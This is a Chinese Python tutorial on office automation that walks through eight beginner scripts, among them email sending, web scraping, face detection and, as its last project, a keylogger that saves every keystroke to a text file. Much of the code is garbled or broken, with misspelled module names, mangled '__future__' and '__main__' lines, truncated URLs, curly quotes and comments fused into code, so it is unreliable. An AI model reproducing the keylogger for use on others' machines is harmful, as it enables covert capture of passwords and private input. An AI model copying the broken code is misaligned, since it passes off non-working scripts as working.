【Python基础】进阶自动化办公：利用Python实现自动化Excel、Word

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办公自动化与Python的力量

1.1 办公自动化的重要性

在当今快节奏的工作环境中，办公自动化已经成为提升工作效率、确保数据准确性以及促进业务决策的关键因素。想象一下，如果你每天面对的是堆积如山的数据录入、复杂的报表制作或者频繁的文档修订，而这一切都可以通过编程自动化完成，那将会是多么解放生产力的事情！

提高工作效率 办公自动化能够极大地缩短日常重复性工作的耗时。例如，原本需要手动逐行输入数据并计算的庞大Excel表格，通过Python脚本只需几秒钟就能完成同样的工作，显著提升了工作效率。

减少人为错误 手工操作容易导致诸如拼写错误、数据遗漏或计算失误等问题。Python编写的自动化脚本则遵循预设逻辑，严格处理数据，大大降低了人为误差的发生概率。

数据整合与分析 在大数据时代，跨部门、跨系统的数据整合至关重要。借助Python强大的数据处理库如pandas，可以从不同源头抓取、清洗、整合数据，并进行多维度分析，形成有价值的洞察。

1.2 Python在办公自动化领域的地位

1.2.1 Python语言特性概览

Python以其简洁明了的语法、丰富的标准库和活跃的开源社区，在办公自动化领域占据了不可忽视的地位。它的面向对象设计、动态类型、高级数据结构和解释型执行模式使其成为快速开发原型的理想选择，尤其适用于自动化办公场景。

1.2.2 Python支持办公自动化的关键库介绍

• • pandas: 用于高性能、易于使用的数据结构和数据分析工具。例如，可以编写Python脚本读取CSV文件，并进行排序、过滤、分组统计等复杂操作，一步到位生成整洁规范的数据报表。

import pandas as pd   # 加载数据   df = pd.read_csv('data.csv')   # 对数据进行清洗和分析   df_cleaned = df.dropna()  # 删除缺失值   grouped_data = df_cleaned.groupby('category').sum()  # 按类别进行分组求和

• • openpyxl, xlrd, xlwt, xlsxwriter: 这些库让Python可以直接读写Excel文件，包括但不限于创建新的工作簿、读取已有数据、修改单元格内容、设置样式以及生成图表等。

from openpyxl import Workbook   wb = Workbook()   ws = wb.active   ws['A1'] = 'Hello'   ws['B1'] = 'World'   wb.save('example.xlsx')  # 保存新的Excel文件

• • python-docx: 该库使Python可以轻松操作Word文档，创建、编辑和格式化文档内容，甚至结合数据动态生成各类报告。

from docx import Document   doc = Document()   new_paragraph = doc.add_paragraph('这是用Python自动生成的段落内容')   doc.save('example.docx')  # 保存新创建的Word文档

通过上述例子，我们可以看到Python是如何被巧妙地运用到办公自动化中，从而赋予用户一种“超能力”，让繁复的办公事务变得简单而高效。

在使用Python的过程中，我最喜欢的就是Python的各种第三方库，能够完成很多操作。

下面就给大家介绍8个通过Python构建的项目，以此来学习Python编程

大家也可根据项目的目的及提示，自己构建解决方法，提高编程水平。

01 文章朗读器

目的：编写一个Python脚本，自动从提供的链接读取文章。

import pyttsx3

import requests

from bs4 import BeautifulSoup

url = str(input(“Paste article url\n”))

def content(url):

res = requests.get(url)

soup = BeautifulSoup(res.text,‘html.parser’)

articles = []

for i in range(len(soup.select(‘.p’))):

article = soup.select(‘.p’)[i].getText().strip()

articles.append(article)

contents = " ".join(articles)

return contents

engine = pyttsx3.init(‘sapi5’)

voices = engine.getProperty(‘voices’)

engine.setProperty(‘voice’, voices[0].id)\

def speak(audio):

engine.say(audio)

engine.runAndWait()\

contents = content(url)

print(contents) ## In case you want to see the content#engine.save_to_file

#engine.runAndWait() ## In case if you want to save the article as a audio file

02 自动发送邮件

目的：编写一个Python脚本，可以使用这个脚本发送电子邮件。

提示：email库可用于发送电子邮件。

import smtplib

from email.message import EmailMessage

email = EmailMessage() ## Creating a object for EmailMessage

email[‘from’] = ‘xyz name’ ## Person who is sending

email[‘to’] = ‘xyz id’ ## Whom we are sending

email[‘subject’] = ‘xyz subject’ ## Subject of email

email.set_content(“Xyz content of email”) ## content of email

with smtlib.SMTP(host=‘smtp.gmail’,port=587)as smtp:

sending request to server

smtp.ehlo()          ## server object

smtp.starttls() ## used to send data between server and client

smtp.login(“email_id”,“Password”) ## login id and password of gmail

smtp.send_message(email) ## Sending email

print(“email send”) ## Printing success message

03 短网址生成器

目的：编写一个Python脚本，使用API缩短给定的URL。

fromfutureimport with_statement

import contextlib

try:

from urllib.parse import urlencode

except ImportError:

from urllib import urlencode

try:

from urllib.request import urlopen

except ImportError:

from urllib2 import urlopen

import sys

def make_tiny(url):

request_url = ('tinyurl/api-create.…urlencode({‘url’:url}))

with contextlib.closing(urlopen(request_url)) as response:

return response.read().decode(‘utf-8’)

def main():

for tinyurl in map(make_tiny, sys.argv[1:]):

print(tinyurl)

ifname== ‘main’:

main()

-----------------------------OUTPUT------------------------python url_shortener.pywww.wikipedia/tinyurl/buf3qt3

04 提醒应用

目的：创建一个提醒应用程序，在特定的时间提醒你做一些事情(桌面通知)。

提示：Time模块可以用来跟踪提醒时间，toastnotifier库可以用来显示桌面通知。

安装：win10toast

from win10toast import ToastNotifier

import time

toaster = ToastNotifier()

try:

print(“Title of reminder”)

header = input()

print(“Message of reminder”)

text = input()

print(“In how many minutes?”)

time_min = input()

time_min=float(time_min)

except:

header = input(“Title of reminder\n”)

text = input(“Message of remindar\n”)

time_min=float(input(“In how many minutes?\n”))

time_min = time_min * 60

print(“Setting up reminder…”)

time.sleep(2)

print(“all set!”)

time.sleep(time_min)

toaster.show_toast(f"{header}",

f"{text}",

duration=10,

threaded=True)

while toaster.notification_active(): time.sleep(0.005)

05 闹钟

目的：编写一个创建闹钟的Python脚本。

提示：你可以使用date-time模块创建闹钟，以及playsound库播放声音。

from datetime import datetime

from playsound import playsound

alarm_time = input(“Enter the time of alarm to be set:HH:MM:SS\n”)

alarm_hour=alarm_time[0:2]

alarm_minute=alarm_time[3:5]

alarm_seconds=alarm_time[6:8]

alarm_period = alarm_time[9:11].upper()

print(“Setting up alarm…”)

while True:

now = datetime.now()

current_hour = now.strftime(“%I”)

current_minute = now.strftime(“%M”)

current_seconds = now.strftime(“%S”)

current_period = now.strftime(“%p”)

if(alarm_period==current_period):

if(alarm_hour==current_hour):

if(alarm_minute==current_minute):

if(alarm_seconds==current_seconds):

print(“Wake Up!”)

playsound(‘audio.mp3’) ## download the alarm sound from link

break

06 天气应用

目的：编写一个Python脚本，接收城市名称并使用爬虫获取该城市的天气信息。

提示：你可以使用Beautifulsoup和requests库直接从谷歌主页爬取数据。

安装：requests，BeautifulSoup

from bs4 import BeautifulSoup

import requests

headers = {‘User-Agent’: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3’}

def weather(city):

city=city.replace(" “,”+")

res = requests.get(f’www.google/search?q={c…print(“Searching in google…\n”)

soup = BeautifulSoup(res.text,‘html.parser’)

location = soup.select(‘#wob_loc’)[0].getText().strip()

time = soup.select(‘#wob_dts’)[0].getText().strip()

info = soup.select(‘#wob_dc’)[0].getText().strip()

weather = soup.select(‘#wob_tm’)[0].getText().strip()

print(location)

print(time)

print(info)

print(weather+“°C”)

print(“enter the city name”)

city=input()

city=city+" weather"

weather(city)

07 人脸检测

目的：编写一个Python脚本，可以检测图像中的人脸，并将所有的人脸保存在一个文件夹中。

提示：可以使用haar级联分类器对人脸进行检测。它返回的人脸坐标信息，可以保存在一个文件中。

安装：OpenCV。

下载：haarcascade_frontalface_default.xml\

raw.githubusercontent/opencv/open…

import cv2

Load the cascade

face_cascade = cv2.CascadeClassifier(‘haarcascade_frontalface_default.xml’)

Read the input image

img = cv2.imread(‘images/img0.jpg’)

Convert into grayscale

gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

Detect faces

faces = face_cascade.detectMultiScale(gray, 1.3, 4)

Draw rectangle around the faces

for (x, y, w, h) in faces:

cv2.rectangle(img, (x, y), (x+w, y+h), (255, 0, 0), 2)

crop_face = img[y:y + h, x:x + w]

cv2.imwrite(str(w) + str(h) + ‘_faces.jpg’, crop_face)

Display the output

cv2.imshow(‘img’, img)

cv2.imshow(“imgcropped”,crop_face)

cv2.waitKey()

08 键盘记录器

目的：编写一个Python脚本，将用户按下的所有键保存在一个文本文件中。

提示：pynput是Python中的一个库，用于控制键盘和鼠标的移动，它也可以用于制作键盘记录器。简单地读取用户按下的键，并在一定数量的键后将它们保存在一个文本文件中。

from pynput.keyboard import Key, Controller,Listener

import time

keyboard = Controller()

keys=[]

def on_press(key):

global keys

#keys.append(str(key).replace(“'”,“”))

string = str(key).replace(“'”,“”)

keys.append(string)

main_string = “”.join(keys)

print(main_string)

if len(main_string)>15:

with open(‘keys.txt’, ‘a’) as f:

f.write(main_string)

keys= []

def on_release(key):

if key == Key.esc:

return False

with listener(on_press=on_press,on_release=on_release) as listener:

listener.join()

以上就是我分享的内容，希望能够给大家带来帮助！

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